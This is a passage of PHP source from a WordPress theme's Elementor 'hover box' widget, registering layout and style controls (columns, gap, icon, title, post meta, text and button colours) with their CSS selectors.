					'medium' => esc_html__( 'Medium', 'soledad' ),
					'large'  => esc_html__( 'Large', 'soledad' ),
				],
				'condition' => [
					'_skin!' => 'penci-hvb-envelope',
				]
			]
		);

		$this->add_responsive_control(
			'columns',
			[
				'label'          => esc_html__( 'Columns', 'soledad' ),
				'type'           => Controls_Manager::SELECT,
				'default'        => '3',
				'tablet_default' => '2',
				'mobile_default' => '2',
				'options'        => [
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				],
				'condition' => [
					'_skin' => '',
				],
				'separator'      => 'before',
				'selectors'      => [
					'{{WRAPPER}} .penci-hover-box-grid' => '--columns: {{VALUE}}',
				],
			]
		);
		
		$this->add_responsive_control(
			'ct_columns',
			[
				'label'          => esc_html__( 'Columns', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'condition' => [
					'_skin' => 'penci-hvb-envelope',
				],
				'range'     => [
					'px' => [
						'min' => 1,
						'max' => 6,
					],
				],
				'default'        => [
					'size' => 4,
				],
			]
		);

		$this->add_control(
			'content_position',
			[
				'label'     => esc_html__( 'Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'bottom',
				'options'   => [
					'top'    => 'Top',
					'center' => 'Center',
					'bottom' => 'Bottom',
				],
				'condition' => [
					'_skin' => 'penci-hvb-envelope',
				]
			]
		);

		$this->add_responsive_control(
			'column_gap',
			[
				'label'      => esc_html__( 'Gap', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ 'px', '%' ],
				'range'      => [
					'px' => [
						'min' => 0,
						'max' => 100,
					],
					'%'  => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-grid' => '--gap: -{{SIZE}}{{UNIT}}',
				],
				'condition'  => [
					'_skin' => '',
				]
			]
		);

		$this->add_control(
			'hover_box_event',
			[
				'label'     => esc_html__( 'Select Event ', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'mouseover',
				'options'   => [
					'click'     => esc_html__( 'Click', 'soledad' ),
					'mouseover' => esc_html__( 'Hover', 'soledad' ),
				],
				'separator' => 'before'
			]
		);

		$this->add_control(
			'hover_box_active_item',
			[
				'label'       => esc_html__( 'Active Item', 'soledad' ),
				'description' => esc_html__( 'Set default item by inserting the item\'s numeric position (i.e. 1 or 2 or 3 or ...) The numeric position reads from the top-left corner as 1st and continues to the right side.', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => '1',
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'    => 'thumbnail_size',
				'label'   => esc_html__( 'Image Size', 'soledad' ),
				'exclude' => [ 'custom' ],
				'default' => 'full',
			]
		);

		$this->add_responsive_control(
			'tabs_content_align',
			[
				'label'     => esc_html__( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => [
					'left'    => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center'  => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'   => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
					'justify' => [
						'title' => esc_html__( 'Justified', 'soledad' ),
						'icon'  => 'eicon-text-align-justify',
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item' => 'text-align: {{VALUE}};',
					'{{WRAPPER}} .pchvb-meta .pcbg-meta-desc' => 'justify-content: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'show_title',
			[
				'label'     => esc_html__( 'Show Title', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'separator' => 'before'
			]
		);

		$this->add_control(
			'title_tags',
			[
				'label'     => esc_html__( 'Title HTML Tag', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'h2',
				'options'   => [
					'h1'   => 'H1',
					'h2'   => 'H2',
					'h3'   => 'H3',
					'h4'   => 'H4',
					'h5'   => 'H5',
					'h6'   => 'H6',
					'div'  => 'div',
					'span' => 'span',
					'p'    => 'p',
				],
				'condition' => [
					'show_title' => 'yes'
				]
			]
		);

		$this->add_control(
			'show_icon',
			[
				'label'     => esc_html__( 'Show Icon', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'separator' => 'before'
			]
		);

		$this->add_control(
			'show_sub_title',
			[
				'label'   => esc_html__( 'Show Sub Title', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
				'condition' => [
					'item_type' => 'custom'
				],
			]
		);
		
		$this->add_control(
			'show_post_meta',
			[
				'label'   => esc_html__( 'Show Post Meta', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
				'condition' => [
					'item_type' => 'query'
				],
			]
		);

		$this->add_control( 'postmeta', array(
			'label'     => __( 'Showing Post Data', 'soledad' ),
			'type'      => Controls_Manager::SELECT2,
			'default'   => array( 'cat', 'title', 'author', 'date' ),
			'multiple'  => true,
			'options'   => array(
				'cat'     => esc_html__( 'Categories', 'soledad' ),
				'author'  => esc_html__( 'Author', 'soledad' ),
				'date'    => esc_html__( 'Date', 'soledad' ),
				'comment' => esc_html__( 'Comments', 'soledad' ),
				'views'   => esc_html__( 'Views', 'soledad' ),
				'reading' => esc_html__( 'Reading Time', 'soledad' ),
			),
			'condition' => array( 
				'show_post_meta' => 'yes',
				'item_type' => 'query' 
			),
		) );

		$this->add_control(
			'primary_cat',
			[
				'label'     => esc_html__( 'Show Primary Category', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_post_meta' => 'yes',
					'item_type'      => 'query',
				],
			]
		);
		
		$this->add_control(
			'show_content',
			[
				'label'     => esc_html__( 'Show Text/Post Excerpt', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before'
			]
		);

		$this->add_control( 'post_content_length', array(
			'label'     => __( 'Custom Post Excerpt Words Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'min'       => 1,
			'max'       => 100,
			'step'      => 1,
			'default'   => 20,
			'condition' => array( 
				'show_content' 	=> 'yes',
				'item_type' 	=> 'query'
			),
		) );

		$this->add_control(
			'text_hide_on',
			[
				'label'              => esc_html__( 'Text Hide On', 'soledad' ),
				'type'               => Controls_Manager::SELECT2,
				'multiple'           => true,
				'label_block'        => false,
				'options'            => [
					'desktop' => esc_html__( 'Desktop', 'soledad' ),
					'tablet'  => esc_html__( 'Tablet', 'soledad' ),
					'mobile'  => esc_html__( 'Mobile', 'soledad' ),
				],
				'frontend_available' => true,
				'condition'          => [
					'item_type'    => 'custom',
					'show_content' => 'yes'
				]
			]
		);

		$this->add_control(
			'show_button',
			[
				'label'     => esc_html__( 'Show Button/Read More Button', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before'
			]
		);

		$this->add_control(
			'box_image_effect',
			[
				'label'     => esc_html__( 'Image Effect?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default' 	=> 'yes',
			]
		);

		$this->add_control(
			'box_image_effect_select',
			[
				'label'     => esc_html__( 'Effect', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'effect-1',
				'options'   => [
					'effect-1' => 'Style 1',
					'effect-2' => 'Style 2',
					'effect-3' => 'Style 3',
				],
				'condition' => [
					'box_image_effect' => 'yes'
				]
			]
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		//Style
		$this->start_controls_section(
			'section_hover_box_style',
			[
				'label' => esc_html__( 'Hover Box', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'hover_box_overlay_color',
			[
				'label'     => esc_html__( 'Overlay Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box:before' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'hover_box_divider_size',
			[
				'label'      => esc_html__( 'Divider Size', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ 'px' ],
				'range'      => [
					'px' => [
						'min' => 1,
						'max' => 10,
					],
				],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-skin-envelope .penci-hover-box-item-wrap>.penci-hvb-active:before' => 'width: {{SIZE}}{{UNIT}}; left: calc(-{{SIZE}}{{UNIT}} / 2);',
				],
				'condition'  => [
					'_skin' => 'penci-hvb-envelope'
				]
			]
		);

		$this->add_control(
			'hover_box_divider_color',
			[
				'label'     => esc_html__( 'Divider Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-skin-envelope .penci-hover-box-item-wrap>.penci-hvb-active:before' => 'background: {{VALUE}};',
				],
				'condition' => [
					'_skin' => 'penci-hvb-envelope'
				]
			]
		);

		$this->add_control(
			'box_item_heading',
			[
				'label'     => esc_html__( 'Item', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->start_controls_tabs( 'box_item_style' );

		$this->start_controls_tab(
			'box_item_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'box_item_background',
				'selector' => '{{WRAPPER}} .penci-hover-box-item',
			]
		);

		$this->add_responsive_control(
			'box_item_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-default .penci-hover-box-item, {{WRAPPER}} .penci-hover-box-skin-envelope .penci-hover-box-description, {{WRAPPER}} .penci-hover-box-skin-flexure .penci-hover-box-item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				]
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'     => 'box_item_border',
				'selector' => '{{WRAPPER}} .penci-hover-box .penci-hover-box-item',
			]
		);

		$this->add_responsive_control(
			'box_item_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-item' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; overflow: hidden;',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'box_item_shadow',
				'selector' => '{{WRAPPER}} .penci-hover-box-item'
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'box_item_hover',
			[
				'label' => esc_html__( 'hover', 'soledad' ),
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'box_item_hover_background',
				'selector' => '{{WRAPPER}} .penci-hover-box-item:hover',
			]
		);

		$this->add_control(
			'box_item_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'box_item_border_border!' => '',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'box_item_hover_shadow',
				'selector' => '{{WRAPPER}} .penci-hover-box-item:hover',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'box_item_active',
			[
				'label' => esc_html__( 'Active', 'soledad' ),
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'box_item_active_background',
				'selector' => '{{WRAPPER}} .penci-hover-box-item.active',
			]
		);

		$this->add_control(
			'box_item_active_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'box_item_border_border!' => '',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'box_item_active_shadow',
				'selector' => '{{WRAPPER}} .penci-hover-box-item.active',
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_icon_box',
			[
				'label'     => esc_html__( 'Icon', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_icon' => 'yes',
				]
			]
		);

		$this->start_controls_tabs( 'icon_colors' );

		$this->start_controls_tab(
			'icon_colors_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'icon_color',
			[
				'label'     => esc_html__( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-icon-wrap'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-hover-box-icon-wrap svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'           => 'icon_background',
				'selector'       => '{{WRAPPER}} .penci-hover-box-icon-wrap',
				'fields_options' => [
					'background' => [
						'label' => esc_html__( 'Background Type', 'soledad' ),
					],
				],
			]
		);

		$this->add_responsive_control(
			'icon_size',
			[
				'label'      => esc_html__( 'Icon Size', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ 'px', 'em', 'vh', 'vw' ],
				'range'      => [
					'px' => [
						'min' => 6,
						'max' => 300,
					],
				],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-icon-wrap' => 'font-size: {{SIZE}}{{UNIT}};',
				],
				'separator'  => 'before',
			]
		);

		$this->add_control(
			'rotate',
			[
				'label'     => esc_html__( 'Rotate', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 0,
					'unit' => 'deg',
				],
				'range'     => [
					'deg' => [
						'max' => 360,
						'min' => - 360,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-icon-wrap i, {{WRAPPER}} .penci-hover-box-icon-wrap svg' => 'transform: rotate({{SIZE}}{{UNIT}});',
				],
			]
		);

		$this->add_responsive_control(
			'icon_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-icon-wrap  ' => 'margin-bottom: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'icon_box_shadow',
				'selector' => '{{WRAPPER}} .penci-hover-box-icon-wrap',
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'      => 'icon_border',
				'label'     => esc_html__( 'Border', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-hover-box-icon-wrap',
				'separator' => 'before',
			]
		);

		$this->add_control(
			'icon_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-icon-wrap' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'icon_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-icon-wrap' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'separator'  => 'before',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'icon_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'icon_hover_color',
			[
				'label'     => esc_html__( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-icon-wrap'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-icon-wrap svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'           => 'icon_button_hover_background',
				'selector'       => '{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-icon-wrap',
				'fields_options' => [
					'background' => [
						'label' => esc_html__( 'Background Type', 'soledad' ),
					],
				],
			]
		);

		$this->add_control(
			'icon_button_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'button_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-icon-wrap' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'icon_hover_rotate',
			[
				'label'     => esc_html__( 'Rotate', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'unit' => 'deg',
					'size' => 90
				],
				'range'     => [
					'deg' => [
						'max' => 360,
						'min' => - 360,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-icon-wrap i, {{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-icon-wrap svg' => 'transform: rotate({{SIZE}}{{UNIT}});',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'icon_active',
			[
				'label' => esc_html__( 'Active', 'soledad' ),
			]
		);

		$this->add_control(
			'icon_active_color',
			[
				'label'     => esc_html__( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-icon-wrap'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-icon-wrap svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'           => 'icon_button_active_background_color',
				'selector'       => '{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-icon-wrap',
				'fields_options' => [
					'background' => [
						'label' => esc_html__( 'Background Type', 'soledad' ),
					],
				],
			]
		);

		$this->add_control(
			'icon_button_active_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'button_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-icon-wrap' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_title' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'title_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-title, {{WRAPPER}} .penci-hover-box-title a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'title_hover_color',
			[
				'label'     => esc_html__( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-title, {{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-title a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'title_active_color',
			[
				'label'     => esc_html__( 'Active Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-title, {{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-title a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'title_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-hover-box-title, {{WRAPPER}} .penci-hover-box-title a',
			]
		);

		$this->end_controls_section();
		
		$this->start_controls_section(
			'section_style_post_meta',
			[
				'label'     => esc_html__( 'Post Meta', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_post_meta' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'post_meta_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pcbg-meta-desc span, {{WRAPPER}} .pcbg-meta-desc span a' => 'color: {{VALUE}};',
				],
			]
		);
		
		$this->add_control(
			'post_meta_lcolor',
			[
				'label'     => esc_html__( 'Link Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pcbg-meta-desc span a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'post_meta_hover_color',
			[
				'label'     => esc_html__( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pcbg-meta-desc span a:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'post_meta_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pcbg-meta-desc span, {{WRAPPER}} .pcbg-meta-desc span a',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_sub_title',
			[
				'label'     => esc_html__( 'Sub Title', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_sub_title' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'sub_title_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-sub-title'                                      => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-hover-box-skin-flexure .penci-hover-box-sub-title:before' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'sub_title_hover_color',
			[
				'label'     => esc_html__( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-sub-title'                                      => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-hover-box-skin-flexure .penci-hover-box-item:hover .penci-hover-box-sub-title:before' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'sub_title_active_color',
			[
				'label'     => esc_html__( 'Active Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-sub-title'                                      => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-hover-box-skin-flexure .penci-hover-box-item.active .penci-hover-box-sub-title:before' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'sub_title_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-sub-title'                               => 'margin-bottom: {{SIZE}}{{UNIT}}',
					'{{WRAPPER}} .penci-hover-box-skin-flexure .penci-hover-box-sub-title' => 'margin-left: {{SIZE}}{{UNIT}}; padding-left: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'sub_title_typography',
				'selector' => '{{WRAPPER}} .penci-hover-box-sub-title',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_description',
			[
				'label'     => esc_html__( 'Text', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_content' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'description_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-text' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'description_hover_color',
			[
				'label'     => esc_html__( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-text' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'description_active_color',
			[
				'label'     => esc_html__( 'Active Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-text' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'description_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-text' => 'padding-top: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'description_typography',
				'selector' => '{{WRAPPER}} .penci-hover-box-text',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_button',
			[
				'label'     => esc_html__( 'Button', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_button' => 'yes',
				],
			]
		);

		$this->start_controls_tabs( 'hover_box_button_style' );

		$this->start_controls_tab(
			'tab_button_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'button_text_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-button a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'button_background',
				'selector' => '{{WRAPPER}} .penci-hover-box-button a',
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'button_box_shadow',
				'selector' => '{{WRAPPER}} .penci-hover-box-button a',
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'      => 'button_border',
				'label'     => esc_html__( 'Border', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-hover-box-button a',
				'separator' => 'before',
			]
		);

		$this->add_control(
			'button_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-button a' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'button_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-button a' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'separator'  => 'before',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'button_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-hover-box-button a',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_button_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'button_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-button a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'button_hover_background',
				'selector' => '{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-button a',
			]
		);

		$this->add_control(
			'button_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'button_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-button a' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'button_active',
			[
				'label' => esc_html__( 'Active', 'soledad' ),
			]
		);

		$this->add_control(
			'button_active_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-button a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'button_active_background_color',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-button a' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'button_active_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'button_border_border!' => '',
				],
				'selectors' => [
